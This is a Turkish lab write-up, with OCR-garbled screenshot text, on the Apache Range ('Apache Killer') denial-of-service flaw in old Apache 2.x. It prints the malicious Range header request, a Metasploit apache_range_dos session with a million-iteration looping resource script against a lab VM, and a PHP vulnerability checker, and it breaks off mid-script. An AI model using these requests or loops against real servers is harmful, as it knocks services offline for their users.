Apache Range Saldirilar ile Apache Web Sunucular: Servis Dis1 Birakma
a. Apache Range Saldiris1 Nedir

Apache Range Attack, diger adiyla Apache Killer Attack apache sunucu yazilimlarindaki zafiyetten
yararlanarak sunucularin bellek ve CPU kullanimin tiiketmek {izerine kurulu bir servis dis1 birakma
saldirisidir. Bu saldir1 apache 2.0.x - 2.0.64 ve 2.2.x - 2.2.19 arasi siiriimlerde uygulanabilmektedir.
Apache 2.2.20’den itibaren bu acik kapatilmistir. Apache yola artik bu yamalarla beraber 2.4.x serisi
stirimlerde devam etmektedir.

Apache eski siirtimlerde bu zafiyetin nedeni kullanicilarin yaptiklari http talep paketlerindeki range
basliklarinin apache yazilimi tarafinca uygulanisindaki bir bug’dan dolayidir. Zafiyetin temel
nedeni ise http talebi range basliginin http spesifikasyonundaki tanimindan dolayidir.

Http range basliklar1 hedef sunucudaki bir kaynagin sadece bir pargasini talep etmek i¢in kullanilir.
Fakat istemcinin hedef sunucudaki kaynagi parca parca (kiilge kiilge) talep edebiliyor olusu bir
suistimali dogurur. Http taleplerinde range baslhigi normalde su sekilde bir yapida kullanilir:

Range: bytes=512-1023

Bu baglik sunucuya kaynagin 512nci byte’tindan baglayan ve 1023ncii byte’tinda biten pargasini
gonder der. Range baghg ile birden fazla aralik da verilebilir. Orn;

Range: bytes=512-1023,1024-2047

Bu baglik sunucuya kaynagin belirtilen iki araliktaki parcasini génder der. Ancak asagidaki gibi bir
yapida range bashgini kullanmak hedef web sunucuya zarar vermeye doniik bir kullanima
yaklagmak olacaktir:

Range: bytes=0-,5-0,5-1,...,5-6,5-7,5-8,5-9,5-10,...

Bu 6rnek su an icin esasinda oldukca zararsizdir, fakat zarar vermeye doniik range baslig1
kullanimini anlamada uygun durumdadir. Baghktaki degerleri aciklayacak olursak range bashgi
once 0- ile tiim dokiimani (tamamini) talep eder, sonra mantiksiz bazi araliklarla (5-0,5-1,...)
parcalar talep eder, sonra daha 6nceden biitiin halde zaten talep ettigi icerigi ayni talebin devam
araliklarinda bu sefer ufak ufak parcalar halinde talep eder. Yani 0- ile tiim dokiiman, 5-0 ile
belirtilen aralik, 5-1 ile aym sekilde belirtilen aralik,..., 5-7,5-8,5-9,5-10 ile ufak ufak biiyiiyen
araliklarda parcalar talep edilir. Sunucu talebi aldiginda her parga icin yanit olusturacaktir. Yani bir
talebe karsilik birden fazla yanit olusturacaktir. Sunucu her olugturacagi yanit paketine pargalari
hazirlamak icin istenen kaynagi diskinden RAM’ine kopyalar halinde acacaktir. Bu sekilde kopyalar
halinde yapiyor olmasinin nedeni bir kaynagin iizerinde birden fazla islemi ayni anda
yapamayacagindandir. O nedenle kaynak kopyalar halinde RAM’de acilir, her kopya {izerinde aralik
degerine gore parca alinir ve gonderilecek http yanit paketlerine konulur. Gonderilecek http yanit
paketlerine ayrica Content-Range bashg1 (parcanin normalde hangi ful pakete ait oldugu bilgisi
(yani ait oldugu full paketin size bilgisi)) ilavesi veya paket multipart bir icerikteyse
multipart/byteranges degerini tutacak Content-type baslig1 ilavesi yapilir ve yanit paketleri
gonderilir.

Goriildiigi tizere http range bashg ile yapilan talep sunucuda birebir yanit dénme yerine birden
fazla yamt donmeye sebep olmaktadir. Eger http range bagligina girilecek aralik degerlerinin adeti
ve aralik genislik miktari arttirilirsa sunucunun o kadar ¢ok donanimsal kaynaginin (ram ve
cpu’sunun) tiikenmesine yol acacaktir. Ciinkii range basligindaki herbir aralik sunucuda talep edilen



kaynagin ayr1 ayr1 kopyalar halinde agilmasina, parcalarin ¢ikarilmasina, ve ayri ayri olusturulacak
yanit paketlerinin hazirlanmasina neden olmaktadir. Eger bu talepten cok sayida génderim yapilirsa
bu apache’nin tiim mevcut bellegini tiiketebilir ve ram tamamen tiikenirse swapping ile disk
tizerindeki kaynaklarda alan tahsisi yaparak sanal ram siireci baglayabilir. Eger diskte de alan
tiilkenmeye baglarsa sistem (Windows veya Linux) process’leri kill komutuyla sonlandirarak
kendine yer acmaya calisabilir. Bdylesi bir senaryoda sistem process’leri kill ederek sunucunun
servis vermeye devam etmesine ¢abalayacaktir ama ayni paketlerden gonderim devam ederse
(onlarca / yiizlerce) bir noktadan sonra sistem tikanacaktir ve DoS sonucuna ulasmis olacaktir.

Range bashiginin zararh kullanim seklini anlamak adina asagidaki érnege bakilacak olursa
Range: bytes=0-,5-0,5-1,...,5-6,5-7,5-8,5-9,5-10,...

yapilan talepteki range baslik degerlerinin anlamli degerlerde olmadig: aciktir (yani énce tamamini
isteme, sonra ters biiyiikliikte araliklarla parcalar ayni1 dékiimandan isteme, sonra tamamini
istemigken bir de parca parca ayni dokiimani isteme degerlerinin anlamli olmadig: aciktir) ve
normalde olmasi gereken kars tarafta bu anlamsiz araliklardaki parca talebinin gecersiz sayilip
yanitin talepte istenilen sekliyle donmemesidir. Fakat range basliginin bu sekilde kullanimi http
spesifikasyonuna gore legal durumdadir. Http spesifikasyonu range baglig1 icin herhangi bir kisit
koymamuistir. Bu nedenle talep isleme sokulup yanitlar tiretilmekte oldugundan sunucularin servis
dis1 kalmasina giden yol aciktir.

Bu saldir http talebindeki range bashginin ufak ufak biiyiiyen ve uzayip giden araliklarda pargalar
istenmesi sonucu hedef apache sunucunun bir talebe karsi birden fazla yanit tiretmesiyle
kaynaklarinin katlanarak tiikenmesi iizerine kurulu bir saldiridir. Bu, klasik bir “amplification” dos
saldinisidir. Ciinkii ufak taleplerle karsida devasa yiik olugturma vardir. Bir agidan bakilacak olursa
normal (zararsiz) http talepleri de amplification dos saldirisina déniigebilirler. Ornegin birkag
byte’lik bir http talebi ve karsiliginda megabyte’larda bir PDF dékiiman yaniti gibi. Ama apache
range saldiris1 bir talebe karsilik karsida diledigimiz sayida yanit olusturma imkani tanidigindan
daha etkilidir.

Asagida bir apache range saldir1 paketinin nasil olduguna dair 6rnek gosterilmistir.
Http Request: ( Saldir Paketi )

HEAD /HTTP/1.1

Host: 127.0.0.1

Range: bytes=0-,5-0,5-1,5-2,5-3,5-4,5-5,5-6,5-7,5-8,5-9,5-10,5-11,5-12,5-13,...... uzun-
diye-yazilmadi...... ,5-1297,5-1298,5-1299,5-1300

Accept-Encoding: gzip

Connection: close

Pakette yer alan
Range: bytes=0-,5-0,5-1,5-2,5-3,5-4,5-5,5-6,.....(boyle devam ediyor)......5-1299,5-1300

range baglig1 0- ile tiim dokiimani (tamamini), 5-0 ile Onc1 byte ve 5nci byte arasini, 5-1 ile 1nci
byte ve 5nci byte arasiny, ..., 5-5 ile 5nci byte ve 5nci byte arasini (yani 5nci byte’1), 5-6 ile 5nci
byte ve 6nc1 byte arasini, 5-7 ile 5nci byte ve 7nci byte arasini, ..., 5-1299 ile 5nci byte ve 1299ncu
byte arasini, 5-1300 ile 5nci byte ve 1300ncii byte arasini talep eder. Saldirgan bu http talebini range



bashigindaki ufak ufak biiyiiyen araliklarla bu sekilde (yani baslangic¢ hane 5 sabit ve sonlanma
hanesi giderek artan degerlerde) gonderdiginde hedef sunucunun karsilik olarak dénecegi http yanit
paketlerinin adetini ve biiyiikliik degerini arttirmaktadir. Bu talepten ¢ok sayida gonderim
yapildiginda hedef sunucu ram ve cpu tiiketimi siirekli artaracaktir ve nihayetinde ram tiilkendiginde
disk’ten swapping ile sanal ram ¢6ziimii devreye alinacaktir. Disk’te alan bittiginde ise sistem
tikanacaktir ve servis dis1 kalacaktir.

Bir makaledeki nota gore saldiriy1 bu paket ile bir sunucu iizerinde gerceklestiren kimse 10 saniye
icerisinde hedef sunucunun 1GB RAM’ini tiiketmekteymis.

“When some one execute this attack on a server, it will eat up 1 GB RAM in 10 seconds,
and CPU load will hit 10 average load, finally server will freeze.”

- https://www.hackersgarage.com/apache-killer-denial-of-service-flaw-in-apache-
webserver.html

- https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/updated-mitigation-of-
apache-range-header-dos-attack/

b. Uygulama

(+) Bu saldir1 birebir denenmistir ve basarili olunmustur.

Materyaller
Msfconsole - Kali 2018.1 // Saldirgan Sistem
Apache 2.2.19 - Ubuntu Server 14.04 LTS // Hedef Web Sunucu

( Not: Apache 2.2.19 kurulu ubuntu server 14.04 Its makinesi “Apache Range
Vulnerability - Ubuntu 14.04 Server LTS” ismiyle hazir halde VirtualBox VMs’de
yer almakta. Ayriyetten Apache 2.2.19°un ubuntu server 14.04 Its lizerine kurulu
munu Yaz Tatili 2014 / Zafiyetli VM Makina Hazirlama Dokiimanlar: / Kaynak

Koddan Derleyerek Apache, PHP, Mysql Kurulumu.txt dosyasindan gérebilirsin. )

Kali sanal makinasindan bir metasploit modiilii ile ubuntu 14.04 Server LTS sanal makinasindaki
zafiyet iceren apache web sunucuya apache range (diger adiyla; apache killer) saldirisi
diizenlenecektir ve apache sunucunun servis disi kalip kalmadig: test edilecektir. Sol yanda
saldirgan makina Kali’den web sunucuya erisilebilir oldugu, sag yanda ise web sunucu makinesinin
kendisi gosterilmektedir.


https://www.hackersgarage.com/apache-killer-denial-of-service-flaw-in-apache-webserver.html
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/updated-mitigation-of-apache-range-header-dos-attack/
https://www.hackersgarage.com/apache-killer-denial-of-service-flaw-in-apache-
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/updated-mitigation-of-
https://www.hackersgarage.com/apache-killer-denial-of-service-flaw-in-apache-webserver.html
https://www.hackersgarage.com/apache-killer-denial-of-service-flaw-in-apache-webserver.html
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root@ubuntu:/home usertt ifconfig
http://192.168.0.21/ etho Link encap:Ethernet Hiaddr 08:00:27:10:ed:ed
S 21 Boastil92.168.0.255 Mask:2ss.255.255.0
€ ®)192168.0.21 e | [Q search :
RX packets:314437 errors:0 dropped: 0 overruns : 0 H
[ Most Visitedv flOffensive Security %\, Kali Linux "\ Kali Docs % Kali Tools  Exploit-DB W Aircrack-ng g Kali Forums = 8 l‘;tkets Ml e dmpggd et S
t collisions:0 txqueuelen: 1000
It works' RX bytes:366150010 (366.1 MB) TX bytes:86?6742 (8.6 MB)

Link encap:Local Loopback
122.0

BX packets:2378 errors:0 dropped:0 overruns:0 frame:0
TX packets:2378 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen: 1

BX bytes:247338 (247.3 KB) TX bytes:247338 (247.3 KB)

root@ubuntu: hone usert

¥ &P 1 @ & [ @ FRight ctrl

&P @ Wi @ @B Right ctrl

Saldirgan makina Kali’den metasploit modiilii apache_range_dos ile apache web sunucuya range
attack yapalim ve Kali’de halen tarayicida hedef web sunucuyu goriintiileyebilmekte miyiz test
edelim.

Kali 2018.1 Terminal:

> service postgresql start
> msfconsole

msf > use auxiliary/dos/http/apache_range_dos
msf auxiliary(apache_range_dos) > show actions

Auxiliary actions:

Name Description

CHECK
DOS

msf auxiliary(apache_range_dos) > set ACTION DOS
msf auxiliary(apache_range_dos) > show options

...options...
msf auxiliary(apache_range_dos) > set RHOSTS 192.168.0.21 // Web Sunucu IP
msf auxiliary(apache_range_dos) > set URI /apache_welcome.jpg // Web sunucudaki statik bir

// kaynak (*gerekli)
msf auxiliary(apache_range_dos) > resource /root/Desktop/looping.rc

Run komutu ile modiilii calistirma yerine defaatle ¢alistir yapabilmek i¢in metasploit resource dosyasi
oOzelliginden yararlandik. Boylece dos saldirisi daha giiclii yapilabilecektir (not: Saldir: tekrarh run ile
yapilmadiginda yeterince gii¢lii dos olmadigindan olsa gerek basarili olmamakta, fakat looping.rc ile run
komutu tekrarli yapildiginda saldir1 basarili olmakta).



/root/Desktop/looping.rc:

<ruby>
# Link: https://github.com/actuated/msf-exploit-loop/blob/master/exploit-loop.rc

begin
(1..1000000).each do |i|
run_single("echo 'Attacking attempt: \##{i}")
run_single("exploit -j")
end
end
</ruby>

Looping.rc Hakkinda Not:

Bu looping.rc dosyasi ile Window Server 2008 R2 ve Windows Server 2012 R2 web sunuculara
yapilan range saldirisindaki kullanilan looping.rc farklidir. Buradaki looping.rc’de sleep komutu
yoktur. Windows Server 2008 R2 ve Windows Server 2012 R2 web sunuculara yapilan range
saldirisindaki looping.rc’de ise sleep vardir. Windows web sunucularin range saldirisi yedikten
sonra kendini toparlama ve yeniden baslama siireci var oldugundan oradaki gegen siire g6z dniine
alinarak bir sonraki atak tegebbiisii icin looping.rc’sine sleep konulmustu. Buradaki looping.rc’de
ise tam aksine saldirinin basarili olabilmesi igin sleep kullanilmamasi daha uygundur. Bdylece daha
yogun saldir1 yaparak apache web sunucu servis disi kalabilmektedir. Buradaki looping.rc’de ayrica
servis dist saldirist gbzlemlemesi yaparken saldiri tesebbiisii bitmesin diye iterasyon sayisi 1
milyona cikarilmisgtir.

Saldir1 basladiginda ekrana modiil ¢iktilar1 yansir.

File Machine View Input Devices Help
Applications ~  Places ~ ) Terminal ~ Thu 00:05

Mozilla Firefox

8 | http://192.168.0.21/

€ (D)192.168.0.21 c Search W a ¥ @

g B Most Visited ensive Securi ali Linux ali Docs % Kali Tools & Exploit- ircrack-n ali Forums
Most Visited~ Jljoff Security % Kali L Kali D Kali Tools * Exploit-DB WyAircrack-ng RKali F

root@osboxes: ~
File Edit View Search Terminal Help

t Pro trial

os/http/apache_range

— - - W S @ DG Right ctrl

Bir stire sonra gonderilen saldir1 paketleri hedef web sunucunun kaynaklarim1 doldurmaya
basladigindan hedef web sunucuda sistem, sunucunun servis verebilirligini siirdiirmesi icin
process’leri kill etmeye ve sunucu konsoluna kill ¢iktilar diigmeye baglar.
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File Machine View Input Devices Help
Applications v Places v (] Terminal Thu 00:05

Mozilla Firefox Input_Devices _Help
collisions ‘txqueueler
http://192.168.0.21/ \ RX bytes: 247335 {3 P L KH) TX bytes:247338 (247.3 KB)

€ ©)192.168.0.21 c Search *da & A root@ubuntu:/home userit [47203.0136081 Out of memory: Kill process 3229 (httpd) score 45 or sacrif ic|

Offensive Security "\, Kali Linux "\ Kali Docs "\, Kali Tools  Exploit-DB W Aircrack-ng @fKali Forums [47203.013654] Killed process 3229 (httpd) total-un:190260kB, anon-rss:8492kB, file-rss:1276kB
[47204.0264311 Dut of Kill process 1361 (httpd) score 44 or sacrifice child
[47204.0265231 Killed 1361 (httpd) total-vn:190260kB, anon-rss:1784kB, file-rss:48kB
root@osboxes: ~ o0 1472059961411 Out of : Kill process 1362 (httpd) score 44 or sacrif ice child
1472059962301 Killed 1362 (httpd) total-un:190260kB, anon-rss:127152kB, file-rss:4kB
[47206.4246761 Out of : Kill process 1465 (httpd) score 44 or sacrif ice child
1472064247041 Killed 1465 (httpd) total-un:190Z60KB, anon-rss:126196KB, file-rss:3ZkB
[47206.602710] Dut of : process 1464 (httpd) score 44 or sacrif ice child
1472066027391 Killed (httpd) total-un:190260kB, anon-rss:98728KB, file-rss:S6kB
[47206.946232] Dut of : Rill process 1368 (httpd) score 44 or sacrif ice child
[47206.9462571 Killed (httpd) total-un:190260kB, anon-rss:6980kB, file-rss:OkB
[47207.8511731 Dut of SR proess 113 (WD eiee 44 ar ateit e child
6 tu 192 15 . ] [47207.8512001 Killed (httpd) total-um:190260kB, anon—rss:25720kB, file-rss:0kB
packet 5 to 192.168.0.21:80 [47208.7037411 Out of : Ki process 3231 (hH,pd) score 44 or sacrifice child
‘Attacking attempt: #8 [47208.7037711 Killed (httpd) total-um:190260kB, anon—rss:2572kB, file-rss:64kB
147210.025107] Out of : Kill process 1466 (httpd) score 44 or sacrif ice child
[47210.0256131 Ki 1466 (httpd) total-um:190260kB, anon—rss:15532kB, file-rss:0kB
[47211.0459121 : Kill process 1475 (httpd) score 44 or sacrifice child
1472110465671 Ki 1475 (httpd) total-vn:190260kB, anon-rss:66264kB, file-rss:0kB
[47211.5892161 : Kill process 1539 (httpd) score 44 or sacrif ice child
1472115898181 Ki 1539 (httpd) total-un:190260kB, anon-rss:12804kB, file-rss:4kB
[47212.7201731 KU1 process 15130 seare 41 angsaeit s child
1472127207601 Ki 1513 (httpd) total-un:190260KkB, anon-rss:71204kB, file-rss:0kp
1472134943361 : Kill process 3230 (htipd) score 45 or sacrif ice child
Dos. o 192.168.0. [47213.4949761 Killed 3230 (httpd) total-un:190260kB, anon-rss:45004kB, file-rss:Z68kB
vt [47214.396725]1 Out of : process 3232 (httpd) score 44 or sacrifice child
b 5 [47214.3973451 Killed (httpd) total-un:190260kB, anon-rss:54096kB, file-rss:0kB
i U3 Backel © 1005 1472150964871 Dut of : Rill process 3233 (httpd) score 44 or sacrifice child
[*] sending Dos . 21 [47215.0971251 Killed (httpd) total-un:130260kB, anon-rss:81568kB, file-rss:20kB
[*] Sending DoS et 15 to 192.168.0.21:80 [47215.5734471 Out of : Kill process 3234 (httpd) score 44 or sacrifice child
[*] Sending DoS 2 to 192. .0.21:8 [47215.5741361 Killed pracess 3234 (httpd) total-um:190260kB, anon—rss:22912kB, file-rss:0kB

[*] Sending DoS packet 19 to 192.16
BO RS oEEE 0GB Right ctrl

Komutlar,

B OR& @ CEE Q@ G Right Ctrl

( Solda Kali ve Sagda Apache Web Sunucu )

Bir siire sonra ise gonderilen saldir1 paketlerine (range header’l talep paketlerine) karsilik yanit
alinamadigindan modiil ¢ikt1 olarak hedef IP’ye baglanilamad bilgisi diismeye baglar.

Range
Attack

File Machine View Input Devices Help
Thu 00i(

Mozilla Firefox
[47216. 4856301 Out of Kill process 3235 (httpd) score 44 or sacrifice child
http://192.168.0.21/ L [47216.4863361 Killed 3235 (httpd) total-um:190260kB, anon-rss:1388kB, file-rss:0kB
147217.635811] Out of : Rill process 3240 (httpd) score 44 or sacrifice child
®©192.168.0.21 & Search B 3 A [47217.6365181 Killed 3240 (httpd) total-um:192644kB, anon-rss:66032kB, file-rss:0kB
[47218.223594] Out of : Kill process 3262 (httpd) score 44 or sacrifice child
Offensive Security " Kali Linux % Kali Docs " Kali Tools & Exploit-DB W Aircrack-ng gKali Forums [47218.224306]1 Killed 3262 (httpd) total-un:253112kB, anon-rss:107012kB, file-rss:4kB
147218.977184] Out of : Kill process 3245 (httpd) score 41 or sacrifice child
147218.9779081 Killed 3245 (httpd) total-um:214324kB, anon-rss:88964kB, file-rss:0kB
It e oo o 47015 4501971 Dut ot newern: Hal} proceos 5968, (vetsd) cobes 41 o sutiftos Zhidd
[47219.4636551 Killed 3269 (httpd) total-un:186216kB, anon-rss:114512kB, file-rss:okB
File Edit View Search Terminal Help 1472196720001 Out of : Kill process 3243 (httpd) score 40 or sacrifice child
sending DoS ‘,“K_t 21 to 192.168.0.21:8! 147219.6727231 Rilled 3243 (httpd) total-um:203512kB, anon-rss:56996kB, file-rss:0kB
e G e A : [47220.1440611 Out of : Kill process 3257 (httpd) score 44 or sacrifice child
e k Geh o = 147220.1447911 Killed 3257 (httpd) total-vn:207672kB, anon-rss:94576kB, file-rss:OkB
& 000> PacKEL (S0te e th 0. e [47220.4153991 Out of : Kill process 3253 (httpd) score 44 or sacrifice child
Sending DoS packet 17 to 192.168.0. [47220.4160771 Rilled 3253 (httpd) total-um:196260kB, anon-rss:?9692kB, file-rss:4kB
s to 192.168.0. [47221.0767681 Out of : Kill process 3247 (httpd) score 44 or sacrifice child
Couldn't connect to 192.168.0.21 [47221.0774231 Killed 3247 (httpd) total-vn:216496kB, anon-rss:88800kB, file-rss:4kB

Sending DoS packet 34 to 192. -8 [47221.672577] Out of : Kill process 3252 (httpd) score 44 or sacrifice child
Couldn't connect to 192.168.9.21: [47221.6732011 Killed 3252 (httpd) total-um:199112kB, anon-rss:10271ZkB, file-rss:40kB
Sending DoS packet 30 to 192.168.0.21:8 [47223.0322691 Out of : Rill process 3258 (httpd) score 44 or sacrifice child

[47223.0338581 Killed 3258 (httpd) total-um:198976kB, anon-rss:88576kB, file-rss:4kB
[47223.439262] Out of i Kill process 3256 (httpd) score 44 or sacrifice child
147223.4399501 Killed 3256 (httpd) total-um:195856kB, anon-rss:97568kB, file-rss:8kB
1472239211541 Out of : Rill process 3251 (httpd) score 44 or sacrifice child
[47223.9218051 Killed 3251 (httpd) total-um:205908kB, anon-rss:54252kB, file-rss:1ZkB
[47224.565011] Out of : Kill process 3248 (httpd) score 44 or sacrifice child
[47224.5656931 Killed 3248 (httpd) total-um:19341ZkB, anon-rss:95520kB, file-rss:1zkB
#11 1472249831951 Out of : Rill process 3255 (httpd) score 44 or sacrifice child
running as background job 10. [47224.9838771 Killed 3255 (httpd) total-un:194092kB, anon-rss:96888KkB, file-rss:44kB
[*] Sending DoS packet 1 to 192.168.0.21:80 1472254774261 Out of : Kill process 3249 (httpd) score 44 or sacrifice child
BT ey S e [47225.478178] Killed 3249 (httpd) total-un:217988kB, anon-rss:67420kB, file-rss:BkB
ey toalie 100 § [47228.065928] Out of : Kill process 3241 (httpd) score 44 or sacrifice child
[*] Sending DoS packet 43 to 192. -21:80 [47228.0670071 Killed 3241 (httpd) total-um:251204kB, amon-rss:102432kB, file-rss:68kB
Couldn't connect to 192.168.0.21: [47229.0848041 Out of : Kill process 3276 (httpd) score 44 or sacrifice child
[*] Sending DoS packet 22 to 192.168.0.21:8 147229.0856331 Killed process 3276 (httpd) total-um:200200kB, anon-rss:93148kB, file-rss:64kB
(5]

sending Dos packet 39 to 192.
B % &8 L @ @ [ @B Right Cerl

Komutlarr.

Couldn't connect to 192.168.8.2
Sending DoS packet 9 to 192.168.0

( Solda Kali ve Sagda Apache Web Sunucu )

Kali sanal makinasindan tarayicida hedef web uygulamasini gériintiilemeyi denedigimizde
uygulamaya erisilemedigi ve siirekli yiikleniyor ifadesinin ekranda yer aldig1 gortilecektir:



ew Input Devices Help
© Firefox ESR Thu 00:

New Tab - Mozilla Firefox File Machine View Input Devices Help

o . [47219.4631971 Out of : Rill process 3269 (httpd) score 41 or sacrifice child
2 http://192.168.0.2/ % /' (3 Connecting... *\+ 472194638551 Killed 3269 (httpd) total-um:186216kB, anon-rss:114512kB, file-rss:0kB
[47219.6720001 Out of : Rill process 3243 (httpd) score 40 or sacrifice child
192.168.0.21 X ||Q Search B 3 A& O [47219.6727231 Killed 3243 (httpd) total-um:203512kB, anon-rss:56996kB, file-rss:0kB
[47220.1440611 Out of : Rill process 3257 (httpd) score 44 or sacrifice child
ost Visitedv [ Offensive gfur| Kali Linux S\ Kali Docs “\ Kali Tools # Exploit-DB W Aircrack-ng gldKali Forums [47220.1447911 Killed 3257 (httpd) total-um:207672kB, anon-rss:94576kB, file-rss:0kB
[47220.4153991 Out of : Rill process 3253 (httpd) score 44 or sacrifice child
1472204160771 3253 (httpd) total-um:196260KB, anon-rss:79692KB, file-rss:4kB
[47221.0767661 : Kill process 3247 (httpd) score 44 or sacrifice child
[47221.0774231 3247 (httpd) total-umi216496kB, anon-rss:B8800KB, file-rss:4kB
147221.6725771 : Rill process 3252 (httpd) score 44 or sacrifice child
147221.6732011 Ki 3252 (httpd) total-umi199112kB, anon-rssi102712kB, file-rssi40kB
147223.0322691 : Kill process 3258 (httpd) score 44 or sacrifice child
[47223.0336561 Ki 3256 (httpd) total-un:198976kB, anon-rss:B8576kB, file-rss:4kB
1472234392621 : Rill process 3256 (httpd) score 44 or sacrifice child
[47223.4339501 Ki 3256 (httpd) total-un:195856kB, anon-rss:97568kB, file-rss:8kB
147223.9211541 : Kill process 3251 (httpd) score 44 or sacrifice child
147223.9218051 Killed 3251 (httpd) total-um:205308kB, anon-res:54252kB, file-rss:1ZkB
147224.5650111 Out of : Kill process 3248 (httpd) score 44 or sacrifice child
1472245656931 Killed 3248 (httpd) total-um:193412kB, anon-res:95520kB, file-rss:12kB
147224.9831951 Out of : Rill process 3255 (httpd) score 44 or sacrifice child
[47224.9636771 Killed 3255 (httpd) total-un:194092kB, anon-rss:96888KB, file-rss:44kB
1472254774261 Out of : Rill process 3249 (httpd) score 44 or sacrifice child
[47225.4781281 Killed (httpd) total-un:217988kB, anon-rss:67420kB, file-rss:8kB
147228.0655281 Dut of : Rill process 44 or sacrifice child
147228.0670071 Killed (httpd) E anon-rss:102432kB, #ile-rss:68KkB
147229.0848041 Out of : Rill process 3276 (httpd) score 44 or sacrifice child
147229.0856331 Killed (httpd) total-un:200200kB, anon-rss:9314BKB, file-rss:64kB
147234.0774531 Out of : Rill process 3266 (httpd) score 44 or sacrifice child
147234.0781511 Killed (httpd) total-un:251204kB, anon-rss:109096kB, file-rss:68kB
[47236.3924071 Out of g process 3237 (httpd) score 44 or sacrifice child
147236.3932421 Killed 3237 (httpd) total-un:253024kB, anon-rss:95068KB, file-rss:BkB
1472372405071 Out of : Rill process 3261 (httpd) score 44 or sacrifice child
147237.2412331 Killed 3261 (httpd) total-un:251204kB, anon-rss:7004BKB, file-rss:68KB
[47237.9585121 Out of memory: Kill process 3263 (httpd) score 44 or sacrifice child
[47237.9591961 Killed process 3263 (httpd) total-um:251204kB, anon-rss:95688KB, file-rss:Z8KB

[ & @ @ [ @ Right Cerl

Komutlari.
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( Solda Kali ve Sagda Apache Web Sunucu )

Test amach ana makinadaki tarayicidan da erisim denendiginde uygulamaya erisim saglanamadigi
goriilecektir:

Activities @ Chromium Web Browser Paz 05:46
192.168.0.21 - Chromium
) 192.168.0.21

X ¥ © 192168021

s @ Logintobya @ USVNSGE & ConfluenceSGE €¥ UCROWDSGE @ SanalSiberGii... I3 OpenstackGe..

eklenecekle E
r (EK).docx

This site can’t be reached

Yaz Tatili-
2014

254GB. 4 The connection was reset
Volume

HDD'ye
Atilacaklar

Try:

« Checking the connection
« Checking the proxy and the firewall

Tez Raporu

ERR_CONNECTION_RESET

File Machine View Inp|
crifice child
:89116kB, file-rss:
crifice child
:96584kB, file-rss:
crifice child
3 http://192.} 197476KB, file-rss:
- Details crifice child
192.168 192276KB, file-rss:
g crifice child
_ Connecting 171608KB, file-rss:
7 Most Visited v~ g OT@NSVe"Securmy g Kalr LU~ KalF DOCS X KalF T00IS S EXpION-Ll~ R AITCraCK-Tg KAl Forums > [48063.7211321 Out of memory: Kill process 4190 (httpd) score 44 or sacrifice child
[48063.7218971 Killed process 4190 (httpd) total-un:251888kB, anon-rss:103380kB, file-rss:
[48064.9707881 Out of memory: Kill process 4163 (httpd) score 44 or sacrifice child
1480649721241 Killed process 4163 (httpd) total-un:244200kB, anon-rss:B1416kB, file-rss:
[48065.7929481 Dut of memory: Kill process 4183 (httpd) score 44 or sacrifice child
148065.7937161 Killed 4183 (httpd) total-un:251752kB, anon-rss:86552KB, file-rss:88KkB
[48066.5837171 Out of memory: Kill process 4194 (httpd) score 44 or sacrifice child
1480665843941 Killed 4194 (httpd) total-un:251204kB, anon-rssi74992KB, file-rss:OkB

[48067.3850471 Out of t Kill process 4176 (httpd) score 45 or sacrifice child
[48067.3858361 Killed 4176 (httpd) total-um:194632kB, anon-rss:91260kB, file-rss:128kB
[48068.1293211 Out of : Kill process 4222 (httpd) score 44 or sacrifice child
1480681303731 Killed 4222 (httpd) total-um:251204kB, anon-rss:69524kB, file-rss:4kB
[48069.2279111 Out of : Kill process 4184 (httpd) score 44 or sacrifice child
[48069.2285901 Killed 4184 (httpd) total-um:253248KB, anon-rss:91248KB, file-rss:3zkB
[48070.0035491 Out of memory: Kill process 4233 (httpd) score 44 or sacrifice child

( Ana Makina Tarayicist Web Sunucuya Erigememekte )



Saldir1 sonlandirildiginda uygulamaya erisimin tekrar saglandig: goriilecektir:

- | (| 192.168.0.21 ¢ ||Q Search %8 3+ & @

g £l Most Visitedv ensive Securl ali Linux % Kali Docs S, Kali Tools = Exploit- Jrcrack-n: ali Forums
Most Visited~ Ot Security ", Kali Li Kali D Kali Tools = Exploit-DB W Aircrack-ng gUfKali F

It works!

&P 9 (] @ {3 @ @) Right ctrl

( Kali Makinas1 )

Boylelikle apache range saldirisi ile hedef bir apache sunucuya dos saldiris1 basarili olacaktir ve
uygulamaya erisim duracaktir. Saldir1 sonlandiginda ise uygulamaya erisim tekrar saglanabilecektir.

c. Ekstra

Hedef bir apache web sunucunun apache_range zafiyetine sahip olup olmadigini asagidaki php
script ile test edebiliriz.

<?php
function check_range_vuln($host,$port=80,$timeout=10){
$range ='0-
for($i=0;$i<20;$i++){
$range .= ",5-$i";
}

$error _code = null;
$error = null;

$socket = fsockopen($host,$port,$error_code,$error,$timeout);

$packet = "HEAD / HTTP/1.1\r\nHost: $host\r\nRange:bytes=$range\r\nAccept-Encoding: gzip\r\
nConnection: close\r\n\r\n";

fwrite($socket,$packet);

$result = fread($socket,2048);

//check to see if "Partial" is in the response
if(strstr($result,"Partial") !== false){
return "Target is vulnerable";

}

return "Target is not vulnerable";



echo check_range_vuln("192.168.0.21",80,10);
>

Bu script su http talep paketini bir tane olarak karsiya géndermektedir:
Http Request: ( Saldir1 Paketi )

HEAD /HTTP/1.1

Host: 192.168.0.25

Range: bytes=0-,5-0,5-1,5-2,5-3,5-4,5-5,5-6,5-7,5-8,5-9,5-10,5-11,5-12,5-13,5-14,5-15,5-
16,5-17,5-18,5-19

Accept-Encoding: gzip

Connection: close

Bu talebe karsilik yanit 206 Partial status code’luysa hedef web sunucu zafiyetli demektir. Ciinkii
range baglig1 anlamsiz degerlerdeyken (yani 6nce dokiimanin tamamini isteme, sonra ters
biiytiikliikte araliklarla pargalar ayni dokiimandan isteme, sonra tamamini istemisken bir de parca
parca ayni dokiimani isteme halindeyken) sunucu bu talebi gecerli sayip yanit olarak parcalar1
gondermis demektir. 206 Partial yanit bilgisi ancak sunucu parca dénerken kullandigi bir durumdur
ve parc¢a doniis yanit1 bagarili anlamina gelir. Eger sunucu zafiyete sahip olmasayd: yanit bilgisi
olarak ya 416 Range is not Satisfiable bilgi doniisii yapardi ve higbir icerik doniisii yapmazdi ya da
200 OK bilgi doniisii yapard: ve dokiimanin tamamini bir yanit pakette dénerdi.

Eger bu php script’inde gonderilen pakete karsilik gelen yanit paketinin icerigine bakmak istersek
echo komutu ile ilgili yanit paket icerigini ekrana basabiliriz:

<?php
